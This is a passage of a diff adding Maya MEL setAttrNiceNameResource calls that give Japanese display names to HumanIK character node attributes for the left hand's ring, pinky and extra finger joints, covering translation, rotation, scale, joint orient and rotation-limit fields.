+setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sy", "左手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sz", "左手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", "左手薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxis", "左手薬指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisx", "左手薬指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisy", "左手薬指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisz", "左手薬指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrient", "左手薬指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrientx", "左手薬指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrienty", "左手薬指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrientz", "左手薬指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimit", "左手薬指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitx", "左手薬指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimity", "左手薬指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitz", "左手薬指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimit", "左手薬指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitx", "左手薬指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimity", "左手薬指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitz", "左手薬指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnablex", "左手薬指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnabley", "左手薬指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnablez", "左手薬指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnablex", "左手薬指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnabley", "左手薬指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnablez", "左手薬指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1", "左手小指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1T", "左手小指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Tx", "左手小指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Ty", "左手小指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Tz", "左手小指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1R", "左手小指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Rx", "左手小指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Ry", "左手小指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Rz", "左手小指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1S", "左手小指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sx", "左手小指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sy", "左手小指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sz", "左手小指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", "左手小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxis", "左手小指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisx", "左手小指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisy", "左手小指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisz", "左手小指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrient", "左手小指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrientx", "左手小指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrienty", "左手小指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrientz", "左手小指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimit", "左手小指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitx", "左手小指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimity", "左手小指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitz", "左手小指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimit", "左手小指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitx", "左手小指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimity", "左手小指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitz", "左手小指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnablex", "左手小指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnabley", "左手小指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnablez", "左手小指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnablex", "左手小指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnabley", "左手小指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnablez", "左手小指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2", "左手小指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2T", "左手小指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Tx", "左手小指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Ty", "左手小指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Tz", "左手小指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2R", "左手小指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Rx", "左手小指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Ry", "左手小指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Rz", "左手小指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2S", "左手小指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sx", "左手小指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sy", "左手小指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sz", "左手小指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", "左手小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxis", "左手小指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisx", "左手小指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisy", "左手小指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisz", "左手小指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrient", "左手小指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrientx", "左手小指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrienty", "左手小指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrientz", "左手小指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimit", "左手小指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitx", "左手小指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimity", "左手小指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitz", "左手小指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimit", "左手小指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitx", "左手小指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimity", "左手小指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitz", "左手小指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnablex", "左手小指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnabley", "左手小指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnablez", "左手小指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnablex", "左手小指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnabley", "左手小指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnablez", "左手小指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3", "左手小指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3T", "左手小指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Tx", "左手小指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Ty", "左手小指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Tz", "左手小指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3R", "左手小指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Rx", "左手小指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Ry", "左手小指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Rz", "左手小指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3S", "左手小指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sx", "左手小指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sy", "左手小指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sz", "左手小指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", "左手小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxis", "左手小指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisx", "左手小指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisy", "左手小指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisz", "左手小指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrient", "左手小指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrientx", "左手小指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrienty", "左手小指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrientz", "左手小指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimit", "左手小指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitx", "左手小指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimity", "左手小指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitz", "左手小指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimit", "左手小指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitx", "左手小指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimity", "左手小指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitz", "左手小指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnablex", "左手小指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnabley", "左手小指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnablez", "左手小指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnablex", "左手小指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnabley", "左手小指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnablez", "左手小指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4", "左手小指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4T", "左手小指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Tx", "左手小指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Ty", "左手小指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Tz", "左手小指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4R", "左手小指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Rx", "左手小指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Ry", "左手小指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Rz", "左手小指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4S", "左手小指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sx", "左手小指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sy", "左手小指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sz", "左手小指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", "左手小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxis", "左手小指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisx", "左手小指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisy", "左手小指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisz", "左手小指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrient", "左手小指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrientx", "左手小指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrienty", "左手小指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrientz", "左手小指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimit", "左手小指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitx", "左手小指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimity", "左手小指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitz", "左手小指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimit", "左手小指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitx", "左手小指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimity", "左手小指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitz", "左手小指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnablex", "左手小指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnabley", "左手小指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnablez", "左手小指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnablex", "左手小指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnabley", "左手小指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnablez", "左手小指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1", "左手追加指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1T", "左手追加指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Tx", "左手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Ty", "左手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Tz", "左手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1R", "左手追加指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Rx", "左手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Ry", "左手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Rz", "左手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1S", "左手追加指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sx", "左手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sy", "左手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sz", "左手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", "左手追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxis", "左手追加指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisx", "左手追加指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisy", "左手追加指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisz", "左手追加指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrient", "左手追加指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrientx", "左手追加指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrienty", "左手追加指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrientz", "左手追加指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimit", "左手追加指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitx", "左手追加指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimity", "左手追加指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitz", "左手追加指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimit", "左手追加指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitx", "左手追加指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimity", "左手追加指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitz", "左手追加指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnablex", "左手追加指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnabley", "左手追加指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnablez", "左手追加指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnablex", "左手追加指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnabley", "左手追加指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnablez", "左手追加指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2", "左手追加指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2T", "左手追加指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Tx", "左手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Ty", "左手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Tz", "左手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2R", "左手追加指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Rx", "左手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Ry", "左手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Rz", "左手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2S", "左手追加指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sx", "左手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sy", "左手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sz", "左手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", "左手追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxis", "左手追加指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisx", "左手追加指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisy", "左手追加指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisz", "左手追加指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrient", "左手追加指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrientx", "左手追加指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrienty", "左手追加指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrientz", "左手追加指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimit", "左手追加指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitx", "左手追加指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimity", "左手追加指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitz", "左手追加指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimit", "左手追加指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitx", "左手追加指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimity", "左手追加指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitz", "左手追加指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnablex", "左手追加指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnabley", "左手追加指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnablez", "左手追加指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnablex", "左手追加指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnabley", "左手追加指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnablez", "左手追加指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3", "左手追加指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3T", "左手追加指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Tx", "左手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Ty", "左手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Tz", "左手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3R", "左手追加指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Rx", "左手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Ry", "左手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Rz", "左手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3S", "左手追加指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sx", "左手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sy", "左手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sz", "左手追加指 3 Sz" ); 